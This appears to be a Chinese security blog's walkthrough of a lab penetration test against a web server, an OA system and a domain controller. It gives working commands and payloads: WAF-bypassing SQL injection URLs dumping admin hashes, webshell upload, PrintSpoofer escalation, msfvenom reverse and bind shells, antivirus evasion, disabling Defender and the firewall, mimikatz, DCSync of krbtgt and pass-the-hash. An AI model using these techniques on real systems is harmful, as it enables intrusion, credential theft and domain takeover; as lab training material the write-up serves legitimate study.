|
实战|项目七Attack靶场渗透测试 (qq.com)
实战|项目七Attack靶场渗透测试原创 bradypoder HACK学习君 HACK学习君
微信号 XHacker1961
功能介绍 HACK学习,专注于网络安全攻防与黑客精神,分享技术干货,代码审计,安全工具开发,实战渗透,漏洞挖掘,网络安全资源分享,为广大网络安全爱好者和从业人员提供一个交流学习分享的平台
今天
收录于话题
#渗透测试 ,2
#靶机渗透 ,1
环境配置 
本机ip:192.168.2.161
web
自带iis安全狗、服务器安全狗、windows defender
外网ip:192.168.2.114(桥接)
内网ip:10.10.1.131(VMnet18)
oa
自带360全家桶
内网ip1:10.10.1.130(VMnet18)
内网ip2:10.10.10.166(VMnet19)
dc
内网ip:10.10.10.165(VMnet19)
web机器和本机不能够ping通,但是本机能够访问web机器服务,因为防火墙原因阻断,这里为正常情况
 
 
 
oa系统处能ping通dc,ping不通web,同样为防火墙阻断,正常情况
 
从web机器访问一下oa系统可以访问
 
masscan namp扫描带防火墙的主机用arp探测工具netdiscover先扫描192.168.2.0段
 
masscan -p 1-65535192.168.2.114–-rate=100//--rate参数为线程
 
 
进行host域名绑定
 
访问后传参进去可以看到有安全狗
 
nmap对对应端口进行扫描
 
 
编写目录扫描工具绕过防火墙CC拦截看下web机器上的安全狗的防护日志
 
打开护卫神的web防火墙(抗CC)功能
 
我这里用御剑去扫描后台发现扫描不到
 
回到web容器上发现已经被拦截
 
 
编写dir_safedog.py脚本
 
完整代码如下:
- #conding:utf-8
- import requests
- import time
- import sys
- with open('word.txt','r',encoding='utf-8') as readfile:
- for dirs in readfile.readlines():
- url = 'http://www.moonlab.com'+ dirs.strip('\n')
- resp = requests.get(url)
- strlen = len(resp.text)
- print(url + '---'+ str(resp.status_code) + '---len---'+ str(strlen))
- time.sleep(0.5)
- if resp.status_code == 200or resp.status_code == 403or resp.status_code == 500:
- with open('write.txt','a',encoding='utf-8') as writefile:
- writefile.write(url + '---'+ str(resp.status_code) + '---len---'+ str(strlen) + '\n')
复制代码
 
 
找到登录入口
 
修改siteserver poc得到注入点寻找对应版本的exp
https://github.com/w-digital-sca ... /plugins/siteserver
 
这里对应版本为2739.py
 
对原始代码进行修改

运行siteserver.py,得到如下payload可以利用

复制payload得出数据库版本
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
 
绕过iis安全狗进行注入直接报数据库名拦截
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20db_name()=2;%20--
 
这里用到C语言的一个~符号,按位取反按位取反“~”:按位取反1变0,0变1~按位取反5二进制00000101,取反11111010,代表-6使用按位取反即可绕过
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20db_name()=~2;%20--

本地搭建siteserver并连接sql server数据库
 
找到Administrator选择显示前1000行
 
这里的sql语句应该为
SELECT TOP 1000[UserName],[Password],[PasswordFormat],[PasswordSalt],[CreationDate],[LastActivityDate],[LastModuleID],[CountOfLogin],[CreatorUserName],[IsChecked],[IsLockedOut],[PublishmentSystemID],[DepartmentID],[AreaID],[DisplayName],[Question],[Answer],[Email],[Mobile],[Theme],[Language] FROM bairong_Administrator;
直接使用sql语句被拦截
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20db_name(select%20top%201%20username%20from%20bairong_Administrator)=~2;%20--

这里加上中括号也被拦截
http://www.moonlab.com/usercente ... eCollection=test%27)%20and (select top 1 username from [bairong_Administrator])=~1;%20--

把~1换位不拦截出现username:admin
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 username from [bairong_Administrator]);%20--

爆password:64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 password from [bairong_Administrator]);%20--
 
爆加密类型:Encrypted
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 PasswordFormat from [bairong_Administrator]);%20--
 
爆盐值:LIywB/zHFDTuEA1LU53Opg==
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 PasswordSalt from [bairong_Administrator]);%20--
 
密码找回漏洞和网站后台getshell这里在百度后发现siteserver有一个密码找回的漏洞,这里直接来到找回密码的地方

设置找回密码的用户名为admin

密保问题处抓包并置空

Forward把包放过去即可得到密码
 
登入后台到站点模板管理
 
先上一个收藏的asp大马,然后被拦了


然后上了一个过墙马,过是过了但是没有回显,马还在返回不到数据
 
 
最终拿的冰蝎aspx大马成功getshell
 
 
Windows Server2016提权**信息搜集 **
双网卡user权限
防护:安全狗、IIS安全狗、windows defender


利用PrintSpoofer提权
https://github.com/itm4n/PrintSpoofer
 
执行命令即可提权到system
PrintSpoofer64.exe -i -c "whoami"
 
msf shellcode 绕过windows defendermsf生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.161 LPORT=2333-e x86/shikata_ga_nai -i 15-f csharp -o payload.txt

掩日shellcode加密下载:
https://github.com/1y0n/AV_Evasion_Tool/releases/tag/2.1

免杀处理之后上360发现已经不免杀了

这里我换了一个cs的免杀马成功上线到cs
 
新建一个监听派生给msf
 
hashcat破解web服务器hashgetuid和sysinfo看一下基本情况
 
这里看到meterpreter为x86,需要进行进程迁移,ps看一下
 
我这里迁移到一个x64的系统进程里

hashdump抓一下hash

load mimikatz,这里之前msf5的时候还有kerberos这个命令,现在变了,help看一下

hashcat配合rockyou.txt字典破解hash
rockyou.txt下载地址:https://github.com/brannondorsey ... ad/data/rockyou.txt
hashcat -a 0-m 1000 hash.txt rockyou.txt
 
爆破出密码得到!@#QWE123
 
跨网段横向渗透主机发现拿到抓到的hash登录远程桌面
 
手动关掉windows defender

进行本机信息搜集
msf下ifconfig发现为双网卡

arp查看arp缓存
 
利用icmp协议探测内网存活主机
for/l %i in(1,1,255) do@ ping 10.1.1.%i -w 1-n 1| find /i "ttl="
这里不知道为什么没有探测到,换一个协议探测一下
 
利用arp协议进行扫描
run arp_scanner -r 10.10.1.0/24
设置代理nmap对跨网段主机端口扫描使用socks4a模块
 
配置proxychains.conf

添加10.10.1.0/24的路由
- run autoroute -s 10.10.1.0/24
- run autoroute -p
复制代码
 
用proxychain扫描一下10.10.1.0段主机的80端口
proxychains nmap -sT -Pn10.10.1.130-p 80
 
用firefox访问80端口
proxychains firefox http://10.10.1.130
 
proxychains配合nmap对常用端口进行扫描
proxychains nmap -sT -Pn10.10.1.130-p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389--open
这里可以看到许多端口开放但是都显示timeout,只有一个80端口能够访问到,可以判断内网主机开了防火墙

通达oa上传漏洞getshell使用tongda_shell.py,下载地址如下:https://github.com/Al1ex/TongDa-RCE
proxychains python3 tongda_shell.py http://10.10.1.130/

访问一下能够访问到
 
在蚁剑上设置代理
 
添加php测试连接成功
 
进入文件查看

对通达oa服务器进行信息搜集上传shell后执行不了命令,尝试将命令执行的回显写入txt进行尝试,这里可以用ipconfig > cmd.txt命令查看
 
这里我为了方便上传一个php大马上去执行命令
 
火狐访问下
 
进入大马进行信息搜集
首先whoami查看权限,system权限

首先看到DNS服务器为attack.local初步判断有内网,后面看到了双网卡存在
 
 
查看一下开放的端口,跟之前nmap扫描的情况大致相同
 
tasklist /svc对比下杀软情况发现有360全家桶

关闭oa系统自带防火墙这里我在没有关闭firewall之前用nmap连接445端口是连接不到的

命令行关闭windows firewall
netsh advfirewall set allprofiles state off

关闭之后即可连接到445端口
 
msf正向木马获得session首先msf生成一个正向连接exe
msfvenom -p windows/meterpreter/bind_tcp LPORT=6666-f exe > abc.exe
 
msf开启监听
 
上传文件到oa系统
 
运行即可成功弹回session

收集内网域的信息ifconfig可以看到是双网卡
 
migrate进行进程迁移后使用hashdump抓取hash
 
尝试使用mimikatz的msv命令获取明文,这里可以看到明文没有抓出来
 
net time定位域控
 
nltest /domain_trusts定位域
net user /domain查看域内用户

net group /domain查看域内用户组
 
net localgroup administrators /domain查看登陆过主机的管理员
 
net group "domain controllers" /domain查看域控制器
 
运用msf内置模块定位域控
run post/windows/gather/enum_domain
 
查看登录的用户
run post/windows/gather/enum_logged_on_users

或者shell直接进入目录下查看
 
查看组信息
run post/windows/gather/enum_ad_groups
 
查看域的token
run post/windows/gather/enum_domain_tokens
 
跨网段使用proxychains配合nmap对域控进行端口扫描这里ps寻找一个域管的进程,我这里选择的是2568,然后使用steal_token 2568提升为域管权限
 
然后就可以拿到一个域管的shell进程
 
这里我先exit退出一下用nmap对域控进行端口扫描
rev2self清除当前权限,然后用run autoroute -s 10.10.10.0/24添加一个路由表
 
使用proxychains配合nmap进行扫描,这里我扫描88、389都能够连接成功说明为域控
 
继续扫描一些常用端口
proxychains nmap -sT -Pn10.10.10.165-p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389--open
这里看到开放了88、135、445、3389端口
 
利用kiwi dcsync_ntlm获取域管理员hash先加载mimikatz、kiwi,这里需要用到dcsync_ntlm模块,这里没有迁移到域管进程,所以失败
 
steal_token 3196迁移到域管进程,然后执行dcsync_ntlm administrator获取域管hash
 
执行dcsync_ntlm krbtgt获取krbtgt用户hash
 
因为开了445端口所以考虑使用exploit/windows/smb/psexec进行hash传递
 
这里尝试了下直接用psexec传递不过去
 
利用sockscap64设置代理登录域控这里直接拿hash到cmd5官网进行解密得到密码为!@#QWEasd123.
先使用proxychain看登录得上去不
proxychain rdesktop 10.10.10.165
 
这里报错是因为只有windows能够登录远程桌面
 
这里代理设置为socks4a连接域控
 
mstsc连接即可
 
 
dir当前目录,type flag.txt即可拿到flag
 
 
靶机下载地址:
链接:https://pan.baidu.com/s/1ZAgV6-f8iHzWqQc3Iyft_g
提取码:atx5
|
|